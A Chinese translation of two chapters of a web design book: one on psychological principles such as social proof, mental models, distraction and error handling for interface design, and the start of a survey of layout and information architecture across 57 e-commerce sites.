一位国王带着他最信任的大臣并把他们每个人的眼睛都蒙起来，然后把他们带到一间黑屋子里。他们看不到任何东西。国王对他们说：“我到过一块遥远的国土，并且带回来一个东西，它不像你们曾经知道的任何东西，它的名字叫大象。”大臣们问道：“什么是大象？”国王说：“你们摸一下大象并向我描述它。”第一位大臣摸到了一条腿并说：“大象是一根柱子。”另一位大臣摸到了尾巴并说：“大象是一根绳子。”第三位大臣摸到了腹部并声称：“大象是一面墙。”最后一位大臣摸到了长牙并宣布：“大象是一根管子。”“你们都错了但同时又都是对的”，国王说道，“因为你们每个人摸到的都只是大象的一部分。”

这个故事提醒我们，具有不同背景、教育水平和经历的人对于设计有着不同的看法。平面设计师从一个角度看待设计，交互设计师从另一个角度看待设计，而程序员则从又一个角度看待它。然后，还有企业所有者、信息架构师等等也具有自己独特的角度。每个人自己的经历、教育水平和背景都会影响他们的感受，并且决定了他们重点关注的是大象的哪个部分。有时，体验大象的不同部分是有益的。

我是一名心理学者，这意味着我是在用户的心智模型的环境中考虑设计的。无论设计是软件、网站、医疗设备、在线操作指南还是产品包装，我都只会从心理学者的视角看待它。我享受把心理学研究告诉我们的有关人们如何思考、学习、玩和工作的知识应用于设计挑战。我研究并深入了解大脑、视觉系统、记忆和动机，并通过它们推断设计原理。本章简要介绍了心理学者对设计的看法。


 8.1　人是社会性动物

当某个人提出一种新方式让人们使用技术或者计算机彼此交互时，我们似乎总是感到惊讶。

MySpace和Facebook在被提出时也令人感到惊讶，Twitter也是如此。我们问自己：“它用于什么？为什么人们想要使用它？”这些技术和应用程序都是新的，并且在它们第一次出现时使我们感到惊讶，但是它快速、广泛地普及了。它们被很好地使用，并且在极短的时间内成为了人们日常生活的一部分。

我们低估了它对于社会性的人有多重要。我们忘记了人类是社会性动物。人们将使用他们周围的一切以成为社会性的，包括技术。如果你可以想出一种新方式让人们使用技术成为社会性的，那么就把那种思想付诸行动，因为可以很好地证明它将是下一件大事，并且会使你赚取数百万美元。

所有的在线交互都是社会交往

当人们彼此交互时，他们将遵循社会交往的规则和准则。我们具有社会交往的期望，如果任何人违背了这些期望，我们就会感到不舒服。在线交互也是如此。当我们到达网站或者使用应用程序时，我们会假设它将如何响应我们以及交互将会是什么样子的。其中许多期望都反映了我们对人际交往所具有的期望。

如果网站没有做出响应或者要花太长的时间加载，它就像我们正在与之交谈的人没有看着我们或者忽视了我们一样。如果网站在交互流程中过早地要求提供个人信息，那么它就像某个太具有自我意识的人一样。如果网站在从一个会话到另一个会话时没有保存我们的信息，那么它就像不记得我们彼此认识的人一样。
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Godiva巧克力公司幸运地具有自然地把它自身贡献给美妙摄影的内容：http://www.godiva.com

在设计界面时，要考虑你将构建的交互。考虑它们将如何反映人际交往，并且确保不会违反任何社会交往的规则。


 8.2　大多数决策都是无意识地做出的

人类是理性的生物，并且是基于合乎逻辑的思考过程来做决策的。但是最新的研究表明我们的决策在很大程度上都是无意识地做出的。在过去10～15年，我对于无意识的心理活动做了许多研究。功能性磁共振成像（functional magnetic resonance imaging，fMRI）甚至允许我们查看在人们做决策时大脑中活跃的部分。

人类演化出了一种高效的方式，用于处理每秒钟轰炸到我们身上的数百万份感官信息。我们的眼睛、耳朵、鼻子、触觉和味蕾会接收大量的数据—最新的估计是每秒钟具有高达4000万种感官输入，但是我们在任一时刻都只能有意识地处理其中大约40种。我们接收的大多数信息都会被高效、快速地处理—这是无意识地进行的。我们的大脑处理数据并做出决策。这是好是坏？是危险的还是无害的？某个东西我能吃吗？这是一张熟悉的脸吗？这个人是在威胁我吗？那边的那个动物是一条蛇吗？我们甚至不知道这种处理，但是它会影响我们的决策，点击“Buy Now”按钮，沿着链接前进，阅读一个段落或者放弃一次交易。

如果你想创建一个网站，它必须是迷人的，可以抓住访客的注意力，鼓励他们继续交互，并说服他们采取特定的动作，然后你必须与大脑中除逻辑部分（前额叶皮质）以外的更多部分交流。你还必须使中脑（情绪大脑）和旧脑（爬行动物的大脑）参与进来，其中前者将处理情绪，后者则将处理危险与食物消息。

下面总结了你要考虑的事项。

●　旧脑持续不断地扫描食物和危险的环境，因此任何食物的图像、有吸引力的人或者使人惊慌的场景都将抓住他们的注意力，动画或运动也是如此。

●　为了保持几秒钟以上的注意力，需要使中脑参与进来。可以利用故事以及人脸的图片实现此目的，尤其是显示了某种情绪的面部表情。

●　人们可以通过故事最佳地处理信息，因此要使用尽可能多的故事，甚至是较短的故事。

●　人们会自然地被其他人的图片所吸引，尤其是那些有魅力或者在服装、年龄及其他物理特征上看起来比较相似的人。

●　可以使用的最好的图片是从照相机中看到的人的样子。图片应该足够大，使得你可以真实地看到脸部。

●　尽管人们无意识地做出决策，他们仍然需要合理的理由，以向他们自己及其他人解释为什么他们要做出这样的决策。这些合理的理由可能不是他们的真实理由，但是具有它们很重要，因此一定要为他们为什么要选择你的服务、工具或资源提供令人信服的理由。
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Louis Vuitton的站点显示了从照相机中看到的有魅力的人：

http://www.louisvuitton.com/fr


 8.3　先看别人怎么做

看着其他人以决定要做什么的倾向被称为“社会认同”。对于这种现象，专业人士已经做了许多研究。Latane和Darley执行了一系列研究
(1)

 ，其中他们设置了一些模棱两可的情形，以观察人们是否会被他们周围的其他人所做的事情影响。
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FIFA.com站点显示了赢得游戏的团队的情绪：http://www.fifa.com

例如，他们将把某个人带入一个房间，大概是要填写关于创意的调查报告。一位或多位演员将在这个房间里，假装他们也是参与者。有时，房间里有一位演员，有时有两位或三位。在每一个人填写调查报告时，烟雾将通过通风孔渗入房间里。研究者感兴趣的是观察参与者是将会离开房间，告诉某个人有烟雾渗入，还是仅仅忽视它而已。人们并不清楚烟雾是什么或者它是否有危险，因此这种情形就是模棱两可的。

参与者的反应依赖于房间里的其他人的行为和数量。房间里忽视烟雾的人越多，参与者越有可能这样做。如果只有参与者一个人，那么他或她将会离开房间并通知某个人。如果其他人在房间里但是没有反应，那么参与者也不会采取行动。

在线社区认同现象最明显的证据是评级和评论。当我们不确信要做什么时，可以查看证明书、评级和评论。最强有力的评级和评论都具有几个关键的特征。

●　它们提供了比仅仅一个分数更多的信息。可用的信息越多，人们将越信任和相信评论。

●　它们讲述了关于产品或服务的故事。故事是强有力的，因为它们是在对着我们的中脑说话。

●　如果你想劝说人们采取行动，那么就要包括进评级、评论和证明。
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当人们对J和R网站上的产品评论置之不理时，他们可能遗弃许多细节，而不仅仅是一个分数：http://www.jr.com
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Aflac是一家使用真实人物的照片和故事的保险公司：http://www.aflac.com


 8.4　人们将在一瞬间决定是否信任你的网站

当访问者来到你的网站时，他们会了解网站是关于什么的，他们是否喜欢它，他们是否将停留下来以及他们是否信任网站上的信息。这些决策是非常快地做出的，在一些情况下甚至不到一秒钟。决策在很大程度上还是无意识地做出的。B.J. Fogg的关于信任和网站的理论
(2)

 指出关于是否信任网站的决策主要是基于用户界面的外观方面。下面列出了一些会导致不信任的因素。

●　文本没有对齐或者杂乱无章。将文本居中显示而不是左对齐，屏幕将具有许多清楚的页边距。

●　使用了太多的字体和字体大小，并且给太多的文本着色。

●　页面上具有太多的信息，并且看起来很混乱。

●　页面上具有太多的动画，尤其是过时的业余动画。

●　屏幕上有太多的彩色区域，并且没有把它们协调成一种颜色模式。
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Mint是一个财经网站，允许你选择一个储蓄目标，然后使用温度计形象地显示你离目标有多接近：http://www.mint.com

底线：如果你想显得是值得信任的，那么就要注意界面设计的基本原则，并且要避免使用户感到尴尬或者不会认真对待你的不一致性。你没有很多机会来获得用户的信任，因此最好在第一时间就做好它。


 8.5　人是受控制权激励的

Daniel Pink在他的图书Drive（《驾驶》）中谈论了激励他的是拥有控制权的感觉。
(3)

 人们希望感觉到他们在某个领域中成长并学到知识，或者有某项任务中获得技能。为了使人们获得控制权的感觉，他们需要感觉到他们在不断进步。

Ran Kivetz、Oleg Urminsky和Yuhuang Zheng
(4)

 做了关于人类动机的实验，包括网站上的哪些因素会激励人们的研究。在他们涉及给歌曲评级的网站的调查研究之一中，他们发现当人们与网站上的奖励目标更接近时，他们将更频繁地访问网站，并会在每次访问时给更多的歌曲评级。这称为“目标等级”效应。

目标等级效应最初是由Hull在1934年使用老鼠开展研究的。他发现被训练成走迷宫以寻找食物奖励的老鼠在更接近迷宫的尽头时将跑得更快。

目标等级效应指出，当你更接近目标时将会加快你的活动。关于这种行为模式要记住以下几点：

●　离目标的距离越短，将越能激励人们到达它；

●　甚至可以利用进度的幻想增强这种激励；

●　在到达目标之后这种激励效果将直线下降。在客户获得奖励后，你非常有可能面临着失去他们的风险。

控制权是玩游戏的感觉为什么如此强烈的一个原因。人们沉溺于设法征服一个关卡。你的网站可能不是游戏时，因此就要想方设法在其中构建控制权的概念。使访问者能够设置目标并以图像表示他们的进度，这样将吸引他们并被激励他们继续使用你的网站。


 8.6　人容易分心

甚至在执行一项重要的任务时，我们也很容易分心并且最终通过点击到达多个网站，而不会沿着通往我们的目标的直线路径前进。一般而言，由于以下三个原因，我们很容易在网站上分心。

●　旧脑。由于我们的旧脑在持续不断地扫描环境以感知食物和危险，当任何这类事物显现时，我们都很容易分心。

●　周边视觉。基本上讲，我们具有两类视觉：中央视觉和周边视觉。中央视觉是当我们直接观看某个东西并且查看细节时使用的视觉；周边视觉则是视野的其余部分—我们不会直接看它。根据进化论的观点，在几千年前，那些能够在磨尖燧石或者盯着云看时看见狮子跑过来的人将存活下来，从而能够传承他们的基因。因此，周边视觉始终都是很重要的。

●　同时处理多项任务是一个神话。许多人相信他们能够同时处理多项任务，但是研究清楚表明，我们实际上不能做到这一点。多年的心理学研究表明，人们每次只能注意一项任务。我们可以交替地进行谈话、阅读、打字和倾听，并且可以非常快地在它们之间切换，因此我们认为自己能够同时处理多项任务，但是实际上我们不能。

Hyman及其他人所做的研究
(5)

 表明：边走路边打手机的人将更频繁地撞到人，并且较少注意他们周围的事情。研究者安插了一名演员，让他穿着小丑的衣服并且骑着独轮车。打手机的人不太可能注意或者记住小丑。我们如此容易分心的事实有好有坏，如果你想吸引人们注意Web页面的某个部分，这很容易做到，因为很容易使人们分心。

但是使人们全神贯注于页面的一个部分可能很困难。此外，吸引人们注意你的网站也很容易，但是使他们重点关注页面的一个区域或者当他们在那里时阻止他们分心则很难做到。要记住下面这些要点。

●　任何移动的事物都将抓住人们的注意力，包括视频、动画和滚动的横幅——这并不意味着你应该大量使用滚动的横幅（自动启动它们是一种非常糟糕的实践）。尽管如此，你还是需要了解它。

●　人的照片、食物、性和危险的感觉会使人分心。

●　任何闪光的物体都是讨厌的，因为它会持续不断地吸引周边视觉。

可以使用分心的事物抓住注意力，但是在你希望人们保持关注的地方要消除它们。


 8.7　人天生是懒惰的

人们为了完成某项任务会选择尽可能做最少量的工作。经过漫长的进化，人类认识到如果他们节省能量，那么他们将能够活得更长久并且生活得更好。我们认识到我们必须消耗一些能量以获得某些资源，但是除此之外，我们还知道如果我们花费太多的时间四处奔忙以设法吃饱食物，那就是在浪费能量。

满意＋充足＝满足

对于大多数时间的大多数活动，人类都会遵循一种称为“满意度”的原则。Herbert Simon创造了这个术语。它最初用于描述一种决策的策略，其中人们将选择恰当的（而不是最佳的）选项。其理论基础是不仅不值得投入大量的成本完全分析所有的选项，而且这种透彻的分析也许是不可能的。

根据Simon的观点，我们通常不具有权衡所有选项的认知能力。因此，基于什么是足够好的来做决定要好于尝试找出最佳的解决方案。对于我们这些设计网站、软件、产品或者甚至设计调查表的人来说，这意味着什么呢？满意度引导我们了解一些有趣的准则：

设计针对扫描而不是阅读的网站。Steve Krug在他的图书《点石成金：访客至上的网页设计秘笈》中，对网站访客的行为应用了满意度的思想。
(6)

 所有者希望他们阅读整个页面，但是知道“他们在大多数时间（如果我们幸运的话）实际上只会匆匆扫一眼每个新页面，扫描一些文本，并点击能够吸引他们的兴趣或者模糊地类似于他们正在寻找的内容的第一个链接。页面中通常有很大一部分他们甚至不会查看。”

假定人们在寻找捷径。人们在寻找更快地并且以较少步骤做事情的方式，尤其是对于重复性任务。但是，如果捷径太难找，那么他们仍将采用旧方法。似乎令人非常奇怪的是，它归结为感知的努力。如果寻找捷径看起来像要做太多的工作，那么人们将坚持他们旧有的习惯（满足于他们的满意度）。

提供默认设置。默认设置减少了访问者需要做的工作量。例如，在Web表单上自动填写名字和地址字段意味着用户将要做较少的工作。其风险是人们通常不会注意默认设置，因此可能无意地确认错误的设置。同样，它也归结为所需的努力。如果更改默认设置需要付出相当大的努力，那么你可能希望重新考虑提供它。

人们醉心于利用尽可能少的工作完成任务，并且他们还不希望被烦扰。考虑这两种推动力是创建迷人的网站的关键。


 8.8　人们具有关于事物如何工作的心智模型

设想你从未见过Kindle，我刚刚交给你一个并且告诉你可以阅读关于它的图书。在你打开它以使用它之前，将在你的头脑中具有一个模型，描述了阅读关于Kindle的图书将会像是什么样子的。

你假设图书在屏幕上看起来像是什么，你将能够做什么事情以及你将怎样使用它们—像翻页或者添加书签这样的事情。你具有一个阅读关于Kindle的图书的心智模型，即使你以前从未做过它。

这个心智模型是由许多事情决定的。某个以前使用过Kindle的人、另外某个没有使用过它的人以及又一个甚至从未听说过它的人都将具有经验的不同心智模型。

如果你去年阅读过iPad版图书，那么你的心智模型将不同于某个从未阅读过电子图书的人。一旦你确实得到了Kindle并且阅读了几本Kindle版图书，那么你的心智模型将进行调整以适应你的经验。

8.8.1　心智模型并不是一个新概念

以多种方式定义心智模型至少已经有25年了。Susan Carey
(7)

 在她于1986年的研究中将心智模型定义如下：

“心智模型代表人们对某件事物如何工作的思考过程（即人们对周围世界的理解）。心智模型基于不完整的事实、过去的经验，甚至还包括直观的感知。它们有助于规范动作和行为、影响人们在复杂的情形中注意什么，以及定义人们如何处理和解决问题。”

在用户界面设计的环境中，心智模型代表用户在他们的头脑中所具有的产品。下面列出了我们对心智模型所知道的几点。

●　用户将非常快地创建心智模型，通常甚至是在使用产品之前就创建了它。

●　心智模型经常被更改。

●　用户把他们的心智模型建立在以前使用类似产品的经验、他们的假设、其他人的观察以及使用产品的直接经验之上。

●　人们使用心智模型预测产品将做什么或者他们应该利用它做什么。

8.8.2　心智模型与概念模型的比较

为了理解心智模型在设计用户界面时为什么如此重要，我们还必须理解概念模型。概念模型是用户界面本身的实际模型。

回到iPad上来，你具有一个心智模型，描述了在它上面阅读图书将像是什么样子，它将如何工作以及可以利用它做什么。但是，当你实际地使用iPad时，该设备将展示图书应用程序的概念模型。将会有屏幕和按钮，并且事物将四处移动。概念模型是界面本身，你通过使用产品与之交互。
(8)



那么，为什么我们应当不厌其烦地区分心智模型与概念模型呢？这是因为你对于用户体验所做的每种选择都会导致用户的心智模型与产品的概念模型之间要么匹配，要么不匹配。下面给出了一些示例。

●　如果产品的概念模型与用户的心智模型不匹配，那么用户将发现产品难以学习和使用。

●　如果设计师没有考虑到用户的心智模型，那么产品很可能难以学习和使用。

●　如果产品具有多个用户群（例如，以前使用过Kindle的人、从未阅读过电子图书的人，等等），并且概念模型被设计成只与一种心智模型匹配，那么其他用户群将发现设备难以学习和使用。

●　如果概念模型并没有经过深思熟虑，而只是反映了底层的硬件或软件或者数据库，那么它将不会非常好地与用户的心智模型匹配，并且用户将发现设备难以学习和使用。

8.8.3　如果需要改变心智模型则要做什么

有时，你不想匹配用户的心智模型。你可能设计一种确实不同的、突破性的产品，并且决定你希望用户改变他们的心智模型以适应你的新概念模型，而不是恰恰相反。例如，你知道只读过纸质图书的人将没有关于在Kindle上阅读图书的准确的心智模型。

在这种情况下，你仍然需要理解用户的心智模型，以便你可以知道它有何分歧，然后你将需要针对模型本身（而不仅仅是针对产品）对用户进行培训。培训是至关重要的，因此它将在用户开始使用产品之前设置或者重置他们的心智模型。无需进行艰苦的、持续数日的培训，可以在几分钟内改变一种心智模型。例如，可以在Kindle投入使用之前展示一小段视频，目标是改变用户的心智模型，以适应产品的概念模型。

8.8.4　关于心智模型与概念模型的总结

心智模型和概念模型在界面设计师的工作中起着很大的作用。你甚至可以说我们在以用户为中心的设计流程中所做的几乎所有事情都与以下方面之一有关。

（1）理解用户的心智模型（通过任务分析、观察、访谈等）。

（2）设计一种概念模型以适应用户的心智模型（通过界面设计、迭代、验证测试等）。

设计直观的用户体验的秘诀是：使你的产品的概念模型与用户的心智模型尽可能接近。如果很好地完成了该任务，那么你就创建了积极、有用的用户体验。


 8.9　人会犯错误

人们会犯许多错误，但是他们不喜欢犯错误。网站如何处理错误决定了人们是否会留下来并且再回来。你需要认可人们犯错误，然后预先考虑那些错误可能是什么以及如何最好地处理它们。避免给出无意义的错误消息。

在网站的所有部分中，创建错误消息所需的时间和精力可能是最少的，并且这也许是合适的。毕竟，最好的错误消息就是没有错误消息（这意味着系统被设计成使得没有人可以采取错误的步骤）。但是，当某件事情出错时，人们知道该做什么就很重要。

现实情况是，总会有什么事情出错。每个人都会犯错误：用户在打字时会犯错误，公司由于发布带有错误的软件而犯错误，而设计师可能会创建无用的网站，因为他们不理解用户需要什么。但是你可以通过遵循以下提示来避免错误的发生。

●　提前考虑什么错误很可能发生。尽可能搞清楚人们将会犯哪些类型的错误，然后在发布设计前相应地对它进行调整。

●　创建一个原型，然后让真实的人使用它，以便你可以查看他们会犯什么错误。换句话说，执行可用性测试。

●　以通俗易懂的语言编写错误消息。它们应该传达以下信息：（1）发生了错误；（2）错误是什么；（3）用户可以怎样校正它；（4）可以到哪里寻求更多的帮助。

●　使用主动语态，并且要求直截了当。较差的表述：“在可以支付发票之前，把付款日期设置成早于发票创建日期是必要的。”较好的表述：“输入在发票创建日期之前的发票付款日期。”

创建一个保证不会产生错误的系统是极其困难的，事实上是不可能的。看看三里岛核事故、切尔诺贝利核事故和英国石油公司的墨西哥湾泄油事件。潜在错误的代价越高昂，就越需要避免它们；越需要避免它们，系统就越昂贵。如果错误是致命的（例如，如果你正在与核电站、石油钻机或者医疗设备打交道），那么就要做好准备：你将不得不比通常的测试次数多测试两到三倍，并且培训也要密集两到三倍。尝试设计故障安全的系统是代价高昂的。并且你将永远也不会完全成功，它只是人类的构造方式。我们会犯错误。

[image: ]


不要使用无意义的错误消息，比如这条来自一个图书馆网站的消息：

http://www.mcpl.us


 8.10　观看不一定就是查看

在设计网站时，我们对于人们将会观看什么投入了许多关注。Web最终是一种视觉媒介。我们假定访客将花时间观看网站的多个元素，并且我们对于这会带来什么做出了许多假设。一种常见的假设被证明是没有事实根据的：有人会实际地“查看”他们所“观看”的内容。

两个有趣的研究方向指出了这个谬论：即假定人们会查看他们所观看的内容。其中一个研究方向是比较周边视觉与中央视觉，另一个则致力于“疏忽性盲视”。

8.10.1　中央视觉与周边视觉

我们已经详细探讨了我们的两类视觉：即中央视觉和周边视觉。堪萨斯州立大学的研究表明：我们在理解世界的过程中对周边视觉的依赖要多于我们以前所想的。
(9)

 我们似乎可以通过我们的周边视觉获得我们前面的场景的“主旨”。研究者显示了常见场景的人物摄影；例如，厨房或客厅。在一些照片中，周边是模糊的；而在其他照片中，中央是模糊的。图像被快速显示，然后要求参与者描述他们所看到的。他们发现如果照片的中央是模糊的，人们仍然可以识别场景。但是当周边是模糊的时，他们将不能断定它是客厅还是厨房。

8.10.2　疏忽性盲视

Chabris和Simons在他们的图书The Invisible Gorilla中介绍了他们对所谓的疏忽性盲视的研究。通过许多调查研究，他们显示了人们经常不会看到他们正前方的事物。我们如此频繁地遭受视觉刺激，以至于我们的大脑开发了一种能力，可以自动地、无意识地决定我们需要注意什么。与大脑达到意识层次相比，眼睛吸收的信息要多得多。

如果周边视觉在某些方面比中央视觉更重要，并且如果我们能够在无需真实地记录物体的情况下观看它们，那么网站设计的隐含意义是什么呢？下面列出了一些。

●　仅仅由于某人观看页面元素，并不意味着他们会注意它。

●　仅仅由于它在页面上，并不意味着每个人都会查看它。

●　尽管眼睛跟踪技术提供了有趣的数据，它主要还是告诉你，人们利用中央视觉观看什么位置。由于它不会跟踪周边视觉，并且由于观看并不是真正的查看，因此不要使至关重要的设计决策仅仅基于眼睛跟踪的数据。


 8.11　小结

无论你设计哪种类型的网站，最终都会有与你不同的人使用它。你具有自己对大象的感觉。如果你想要网站有用、有趣并且与其他人相关，那么就要拓宽你对大象的视野，并在决策中结合进心理学。下面列出了要记住的关于人的10条原则。

●　人是社会性动物。

●　大多数决策都是无意识地做出的。

●　当人们不能确定要做什么时会看着其他人。

●　人们将在一瞬间决定他们是否信任你的网站。

●　人是受控制权激励的。

●　人容易分心。

●　人天生是懒惰的。

●　每一个人都具有关于事物如何工作的心智模型。

●　人会犯错误。

●　观看不同于查看。
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8.11.2　关于作者

“做你喜欢做的事情以及你充满热情的事情。理智地接受挑战。确保你喜爱自己的工作，你不能在早晨等着一起床就会得到它。”

Susan Weinschenk拥有马萨诸塞州波士顿市的美国东北大学的心理学学士学位，以及宾夕法尼亚州的宾夕法尼亚州立大学的心理学硕士和博士学位。Susan是Human Factors International的UX体验战略的主席，并且担任人文因素、可用性和用户体验方面的顾问、演讲人和作者有30多年的时间。在她的空闲时间，Susan喜欢演戏、阅读、与爵士乐队一起唱歌以及烘焙免揉欧式面包，并把她的酵头起动机称为她的宠物，因为每天都要给它喂食。Susan鼓励读者要保持学习和多做设计—你做得越多，得到的结果就越好。
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第9章　电子商务网站的设计模式


作者：Steven Bradley
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电子商务网站的设计师必须考虑信息性网站的设计师不会考虑的许多事情。如何设计结账流程？网站将怎样建立信任使得访问者愿意提交敏感的信用卡数据？所有者怎样响应客户的问题和疑问？

所有者经常在他们的电子商务网站中塞满他们希望用户看到的产品。他们必须决定在主页上显示多少产品（如果有的话），或者是否代之以把人们指引到产品类别。访问者到达这些网站，要么是为了寻找特定的产品，要么是为了浏览产品，网站需要帮助访问者做这两件事。

对所有网站都具有的布局、颜色和导航所做的选择将以不同的方式改变电子商务网站的效果。在你的个人博客上使用你最喜爱的颜色是一回事；使用相同的颜色建立与访问者之间的信任以及吸引对动作请求的注意则完全是另一回事。

现在存在一些针对所有这些方面的理论和最佳实践。常见的设计模式随着时间的推移在不断演化，并且我们希望查看电子商务网站与理论和最佳实践配合得有多好。电子商务网站的结账页面的平均数量是多少？从数据中显现的某些模式会显示网站对这类问题的处理方式有多大的差别吗？


 9.1　调查流程

我们选择了57个购物网站，并且调查了多个类别中的一组元素中的每个元素：布局、信息架构、导航、颜色、结账、联系和支持、网络宣传和验证。

9.1.1　选择网站

在选择网站时要时刻关注着多样性。我们不想要任一类别中的前50个网站，尽管我们确实希望包括一些上等的网站。我们针对的目标是跨多个行业的大型和小型网站的混合体。我们只会考虑英语网站，并且平均地混合了美国和英国的网站。

在认真检查和选择之后，我们最终确定了57个网站，这个数字不是我们事先决定的。在编辑了一份更长的列表并且出于多种原因删除了一些网站之后，我们就得到了它。我们需要足够多的网站以保证数据是有意义的，但是网站的数量不要太多，否则我们将不能在合理的时间内处理数据。

9.1.2　提出问题

我们提出的问题首先是通过简单的头脑风暴确定的。我们问自己，关于电子商务网站我们想要知道什么。通过数据集合的每次迭代，我们可以想到新的问题。因此，这种调查在许多方面都得到了有机的发展。我们会返回到每个站点三到四次以收集数据，并且我们可能继续添加新问题。自然，时间是一个限制因素。可能有些我们没有问的问题，它们是我们可以或者应该问的，但是总体来讲数据极好地描述了电子商务网站如何处理上面列出的8个主要概念。

9.1.3　行业

我们看看跨11个行业的网站（参见下图）。
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在我们的研究中的行业分布图

我们在以这种方式组织它们时行使了一些主观性。例如，East Bay销售服装和鞋子，但是由于它也销售运动装备并且它的网站的主题一般是面向运动的，因此我们把它视作“运动”类别的一部分。对于带有广泛产品的网站，我们把它们分类为“一般性行业”。我们包括了这些类别，以免任何人意欲操作数据，以查看“时尚”网站是否使用了与销售珠宝和钟表的网站不同的颜色。


 9.2　理论和最佳实践

在下面几节中，我们将基于理论和最佳实践评估网站。有时，结果与我们的期望相匹配。我们期望所有的网站都包括一个搜索框，除了三个网站以外，其他所有的网站都这样做了。另一方面，比我们所预期的更少的网站显示了它们能够接受的信用卡的图标。有时可以轻松地解释这些差异，其他时间则不然。

布局

在创建网站时，设计师的第一个重大决策是：使用固定宽度的布局或者灵活的布局。其中任何一种布局都不一定好于另一种布局。固定宽度的布局一般可以使设计师能够对网站的外观进行更多的控制，而灵活的或者流式布局则能够使网站适应多种浏览器分辨率。

今天的大多数网站都趋向于固定宽度且居中显示的布局，对于我们调查过的电子商务网站也是如此。其中90％以上的网站都具有固定宽度的布局，并且95％的网站都是在浏览器中居中显示的。只有三个网站是真正的流式布局，另外两个网站则混合使用了固定的和流式布局。

在Da Vinci Gourmet网站中，内容一般是固定的，但是标题和脚注的背景则会拉伸到浏览器的边缘，给网站提供一种流式的外观。出于调查的目的，我们把这个网站视作是流式的，尽管人们可能争论说它主要是固定的和居中显示的。
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Da Vinci Gourmet网站使用带有固定内容区域的流式布局：

http://www.davincigourmet.com

由于90％～95％的网站都使用固定宽度且居中显示的布局，因此这种布局目前显然是最常见的模式。它们允许设计师最大限度地控制网站的外观，这对于电子商务网站特别重要。设计师必须小心处理动作请求按钮以及相对于文本的图像的位置。固定宽度的布局有助于确保各个元素以期望的顺序被查看。

居中显示通常是固定宽度的布局的首要选择，因为它分解了周围的空白区域，从而在页面的两边只留下不太多的空白。少数网站不是居中显示的，它们全都对齐到浏览器的左边缘。

在设计师确定了固定宽度且居中显示的网站之后，要做出的下一个决策就是宽度。在我们的调查中，网站上最常见的宽度是950、960、968和980像素：其中每种宽度都正好在三个网站上使用。看待这些宽度的更好的方式是把它们视作是一个范围。如果我们假定浏览器边缘和滚动条将占据30～40像素，那么在分辨率为800×600像素的屏幕上将剩下最大770像素的宽度，在1024×768像素的屏幕上则将剩下最大994像素的宽度。由此，可以得到如下所示的宽度范围。
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大多数网站显然是为1024像素的宽度设计的。只有两个或三个网站是为800像素的宽度开发的，而只有六个网站具有994像素阈值以上的宽度，用于1024×768像素的屏幕（如果考虑30像素的浏览器窗口）。当然，我们遇到的最大宽度是1085像素，最小宽度则是720像素。

一个有趣的发现是没有利用所有可用空间的网站数量。在我们调查的网站中，只有39％的网站具有771～959像素之间的宽度。鉴于771像素将使我们超过800像素的浏览器的最大宽度，并且959像素没有达到960（它很受欢迎，因为它允许设计师轻松地设置网格），我们的许多网站设计师要么不确信要达到多大的宽度并且是额外安全的，要么使用罕见的网格。我们对网站的一般印象暗示前者要多于后者。

我们考虑的另一件事是布局中的列数。在这里，我们在总体布局中考虑主要的列，它比最初看上去的更难以处理。

这里没有对错之分，尽管我们期望大多数网站要么是两列，要么是三列。事实上，除了四个网站之外其他所有网站都坚持使用两列或三列式布局——绝大多数（70％）都具有两列式布局。六个网站的列数会改变，但是全都在两列和三列之间切换。主页具有三列式，然后随着你深入到网站中而转向两列式布局。

也许更有趣的是专用于在类别页面上显示产品的列数。产品最常见的是使用四列显示的。下一个最流行的列数是一列，接着是三列，这有些令人感到奇怪，因为我们期望使用三列是一种趋势。

[image: ]


我们的印象是单个列最容易浏览，特别是由于它允许简短地总结每种产品。具有多个列的页面通常只能容纳产品名称和图像，但是不包括描述，它在一些情况下无助于用户把一种产品与另一种区分开。当然，多个列允许在页面上显示更多的产品。

考虑上面的所有数据，当前实际要求固定宽度的网站，旨在容纳1024×768的最低限度的分辨率，它具有居中显示的两列式布局，并且在类别页面上有四列用于显示产品。普通的电子商务网站都是像这样设计的，尽管你可能想改变列的数量以显示产品。

值得一提的是，我们调查过的9％的网站只有10个或更少的验证错误，这非常好；另外有9％的网站具有500个以上的错误，这就不是那么好了（只在首页上）。下表中的分布图遵循标准的钟形曲线，其峰值是100个左右的错误。平均的错误数量是187，这实在是太多的，即使很少有人关心它们。

首页上的验证错误
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电子商务网站的大多数设计师似乎不太关心验证。在我们查看的网站中，只有14％的网站具有10个或更少的错误。在发出警告后，情况要稍微好一点，但是甚至在那之后，在调查中也只有不到25％的网站具有10个或更少的警告。

从这些数据中可以看到，其中大多数设计师没有付出许多努力来验证他们的代码。你可能也不想这样，但是要记住任何一个错误都可能给你的客户导致严重的问题。验证可以改进网站，并使之在以后更容易维护。要竭尽全力修正尽可能多的错误；你在前面处理的编码问题越多，在以后进行的维护工作就越轻松。


 9.3　信息架构

信息架构与网站上的内容的组织相关。你应该怎样把内容组织在一起呢？你怎样才能以可以帮助客户找到他们所寻找的信息的方式组织内容呢？

对于调查的这个部分，我们将探讨几件事。我们主要感兴趣的是查看这些网站具有多少个顶级类别，以及访问者为了接触到各个产品而不得不深入多少个层级。第二个问题实际上是最难回答的问题之一。最终，当其他一切方法都失败了之后，我们从主页上开始，并且统计出要接触到产品所需的点击次数。

除了顶级类别的数量和结构的深度之外，我们还将探讨主页如何把人们指引到内部页面。它们会把人们指引到产品的类别或者直接指引到各个产品吗？我们还感兴趣于查看在类别页面上通常会显示多少个产品，以及这个数字是否可调整。

在涉及提供选项时，通常选项越少越好。席克法则（Hick's Law）指出随着选项的增加，做出决策所花费的时间也会增加。人类只能记住这么多的信息，并且只能从这么多的选项中做出选择。因此，要尽可能限制选项的数量，并且知道在使访客崩溃之前你只能给他们提供这么多的选项。

另一个最佳实践是保持内容结构较浅显。你不希望访客不得不进入太深的层级。为了接触到想要的信息，所需的点击次数越少越好，因为每次点击都会令一位访客过早地离开网站。另外一条经验法则是：保持网站的深度最多4个层级，尽管层级通常越少越好。此外，还要减少导航的选项数量。不过，从逻辑上讲，顶级选项越少，结构将越深。这两个规则似乎是矛盾的。其要点是在较浅显的结构与较少的导航选项之间达到一种平衡。

在我们调查中的网站如何处理这个问题呢？它们提供了较少的菜单选项或者保持内容的结构尽可能浅显吗？

确切地讲，有1/3的网站把顶级产品导航保持为7个或更少。这意味着2/3的网站都忽略了“使用不多于7个顶级链接”的公共规则。大多数网站（89％）保持产品类别为13个以下，而58％的网站显示8个以上的链接。在调查的全部网站中，42％的网站具有10～13个产品类别，显著多于公共规则所规定的数字。

[image: ]


主要产品类别的数量

